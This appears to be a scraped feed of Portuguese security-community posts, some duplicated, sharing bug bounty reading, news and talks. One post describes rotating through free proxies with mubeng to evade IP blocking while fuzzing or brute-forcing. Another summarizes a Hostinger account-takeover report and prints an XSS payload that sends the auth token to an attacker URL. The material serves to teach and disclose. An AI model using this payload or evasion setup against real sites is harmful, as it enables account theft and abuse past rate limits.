Ainda não li, mas fica aqui no backlog de recomendação para ler depois ++
https://gelu.chat/posts/from-pentester-to-fulltime-hunter/
https://gelu.chat/posts/from-pentester-to-fulltime-hunter/
Geluchat's Blog
Finding Freedom, One Bug at a Time: My Journey from Pentester to Full-Time Hunter
After seven years in pentesting, I transitioned full-time into bug bounty hunting, leveraging deep experience and continuous learning. This article shares key moments and insights from that journey.
Leia mais aqui -> https://www.linkedin.com/posts/activity-7346939976678309890-BtSj
O Brasil começando a ver que isolar sistemas em intranets não é o suficiente, pois a ameaça pode estar dentro da sua rede (insider / funcionário).
Começando a ver que o princípio do menor privilégio deve prevalecer e que o Four Eyes Principle deveria ser implementado: ao menos duas pessoas necessaries para aprovar uma operação crítica. Isso protege cenários até onde um dos aprovadores é coagido / sequestrado, pois sem uma segunda aprovação, a operação não é efetuada.
https://g1.globo.com/google/amp/sp/sao-paulo/noticia/2025/07/04/policia-civil-prende-em-sp-suspeito-envolvido-em-ataque-hacker-contra-o-banco-central.ghtml
Começando a ver que o princípio do menor privilégio deve prevalecer e que o Four Eyes Principle deveria ser implementado: ao menos duas pessoas necessaries para aprovar uma operação crítica. Isso protege cenários até onde um dos aprovadores é coagido / sequestrado, pois sem uma segunda aprovação, a operação não é efetuada.
https://g1.globo.com/google/amp/sp/sao-paulo/noticia/2025/07/04/policia-civil-prende-em-sp-suspeito-envolvido-em-ataque-hacker-contra-o-banco-central.ghtml
G1
Polícia Civil prende em SP suspeito de ataque hacker ao sistema que liga bancos ao PIX
Segundo os investigadores, ele é funcionário de uma empresa que conecta bancos menores aos sistemas PIX do BC e deu aos hackers a senha ao sistema sigiloso.
👾 Tópico aleatório
Qual foi o último Github que visitou / clonou OU a última ferramenta que executo OU o último artigo que leu OU o último vídeo de cibersec que assistiu?
Qual foi o último Github que visitou / clonou OU a última ferramenta que executo OU o último artigo que leu OU o último vídeo de cibersec que assistiu?
Vai ocorrer dia 08 desse mês (terça-feira)
19hs-20hs (1 hora de duração)
Link do evento: https://www.linkedin.com/events/fiapmeetup-ciberseguran-aautomo7346254640864288768
Link post original: https://www.linkedin.com/posts/augusto-zanotti-998161248_cybersecurity-ciberseguranaexaautomotiva-activity-7346487995698405377-ic5c
Curtiu? Vai participar? Quer ver a opinião da galera? Comenta nesse post =)
O entrevistado é o cangaceiro, uma pessoa muito gente boa, de fácil acesso mesmo e que tem experiência em bugbounty.
Fora isso o próprio canal (DevSecOps Podcast) é muito bom e eu volta e meia vejo vídeos deles, pois tende para o lado mais da galera de DEV e eu sempre quero ficar ouvindo o que essa galera tá pensando (pra gente ver onde eles tão olhando, o que estão estudando e principalmente: o que não estão vendo -> para que possamos achar com + facilidade vulnerabilidade nas aplicações)
Link pro vídeo -> https://www.youtube.com/watch?si=iCY0nwwoVRhEoing&v=Lw6oYGk_mFU&feature=youtu.be
Assistam por mim. Quando eu estiver em casa com certeza vou ver.
Esse cara é muito bom tecnicamente
https://youtu.be/DX98GmHahwA
Mais info: https://www.bleepingcomputer.com/news/security/atandt-rolls-out-wireless-lock-feature-to-block-sim-swap-attacks/amp/
Precisa contornar um bloqueio de Ip / rate limiting pra fazer aquele fuzzing / brute force e não quer usar o lambda da AWS pra não gastar grana, nem proxychains que pode ser muito lento e instável?
Quer fazer uma rotação de Ip de graça?
Baixa uma lista de proxies recentes e válidos:
Execute o mubeng (link do repositório pra instalação ao final:
pronto, agora pode redirecionar todo trafego das tuas ferramentas pro http://127.0.0.1:8081 que ele vai se encarregar de distribuir as requisições entre todos os proxies carregados, independente do método HTTP, (post, get, options, delete, etc).
Além disso, assim que um proxy falhar o mubeng vai remover ele da pool de proxies disponiveis. Ah outra coisa, a flag -r fala quantas requisicoes aquele proxy pode fazer uma vez que ele for escolhido aleatoriamente. Eu nao setei nada por que por default é zero o valor, então cada requisição sairá de um novo IP.
Até a próxima
https://github.com/mubeng/mubeng
Quer fazer uma rotação de Ip de graça?
Baixa uma lista de proxies recentes e válidos:
curl -sf 'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/http.txt' | sed 's#^#http://#g' > http_proxies.txt
Execute o mubeng (link do repositório pra instalação ao final:
mubeng -f http_proxies.txt --remove-on-error -a :8081 -w
pronto, agora pode redirecionar todo trafego das tuas ferramentas pro http://127.0.0.1:8081 que ele vai se encarregar de distribuir as requisições entre todos os proxies carregados, independente do método HTTP, (post, get, options, delete, etc).
ffuf -u http://examplo.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8081
Além disso, assim que um proxy falhar o mubeng vai remover ele da pool de proxies disponiveis. Ah outra coisa, a flag -r fala quantas requisicoes aquele proxy pode fazer uma vez que ele for escolhido aleatoriamente. Eu nao setei nada por que por default é zero o valor, então cada requisição sairá de um novo IP.
Até a próxima
https://github.com/mubeng/mubeng
GitHub
GitHub - mubeng/mubeng: An incredibly fast proxy checker & IP rotator with ease.
An incredibly fast proxy checker & IP rotator with ease. - mubeng/mubeng
A escalada de impacto de uma vulnerabilidade pode ser demonstrada pelo caso de Account Takeover na Hostinger. A exploração encadeou duas falhas distintas:
* Um Reflected XSS em um subdomínio de baixo impacto e FORA do escopo: marketing.hostinger.com.
* Uma Validação de Redirecionamento Imprópria no sistema de autenticação (auth.hostinger.com), que permitia redirecionar para o subdomínio vulnerável por ele estar em uma whitelist.
O ataque consistiu em criar uma URL para o sistema de autenticação que, após o login da vítima, a redirecionava para a página com o XSS. O próprio sistema de login anexava o auth_token da sessão do usuário à URL de redirecionamento.
Ao carregar a página, o payload do XSS era executado para exfiltrar o token:
O script envia a URL completa (window.location), que agora continha o token, para um servidor controlado pelo atacante. A posse deste token permitia o controle total da conta da vítima (ATO).
Dessa forma, um XSS de baixo risco foi transformado em uma vulnerabilidade crítica através de uma cadeia de exploração.
Link para o relatório: https://hackerone.com/reports/3081691
* Um Reflected XSS em um subdomínio de baixo impacto e FORA do escopo: marketing.hostinger.com.
* Uma Validação de Redirecionamento Imprópria no sistema de autenticação (auth.hostinger.com), que permitia redirecionar para o subdomínio vulnerável por ele estar em uma whitelist.
O ataque consistiu em criar uma URL para o sistema de autenticação que, após o login da vítima, a redirecionava para a página com o XSS. O próprio sistema de login anexava o auth_token da sessão do usuário à URL de redirecionamento.
Ao carregar a página, o payload do XSS era executado para exfiltrar o token:
<script>fetch('URL_DO_ATACANTE', {method: 'POST', body: window.location});</script>
O script envia a URL completa (window.location), que agora continha o token, para um servidor controlado pelo atacante. A posse deste token permitia o controle total da conta da vítima (ATO).
Dessa forma, um XSS de baixo risco foi transformado em uma vulnerabilidade crítica através de uma cadeia de exploração.
Link para o relatório: https://hackerone.com/reports/3081691
O massa é a linha de raciocínio usada a cada novo obstáculo. A paciência de ler documentações. A descoberta de como tecnologias terceiras funcionam naquela integração. As correções não efetivas aplicadas pelo time. Sempre que tiver um regex, abra mais ainda os olhos
Boa leitura 🎅
https://slcyber.io/assetnote-security-research-center/how-we-got-persistent-xss-on-every-aem-cloud-site-thrice/
Tomei uma decisão hoje e resolvi investir e comprar ele. Deu 300 e poucos o PDF (acesso prévio) + versão impressa
Eu já li uma parte de um capítulo e é nítida a diferença quando um real pesquisador de segurança fala de segurança. As vezes em uma página já te da um insight pra pesquisar coisas por 1 dia inteiro.
Artigo para ler depois ++
https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/
O artigo é crucial, pois expõe "footguns" específicas e exploráveis nos parsers Go, detalhando como payloads (ex: com case variado, chaves duplicadas, formatos mistos) podem levar a bypass de segurança. Aprofunde-se no artigo para exemplos de código, explorações e a tabela de comportamentos dos parsers.
(Valeu Teles pela indicação)
https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/
O artigo é crucial, pois expõe "footguns" específicas e exploráveis nos parsers Go, detalhando como payloads (ex: com case variado, chaves duplicadas, formatos mistos) podem levar a bypass de segurança. Aprofunde-se no artigo para exemplos de código, explorações e a tabela de comportamentos dos parsers.
(Valeu Teles pela indicação)
The Trail of Bits Blog
Unexpected security footguns in Go's parsers
File parsers in Go contain unexpected behaviors that can lead to serious security vulnerabilities. This post examines how JSON, XML, and YAML parsers in Go handle edge cases in ways that have repeatedly resulted in high-impact security issues in production…
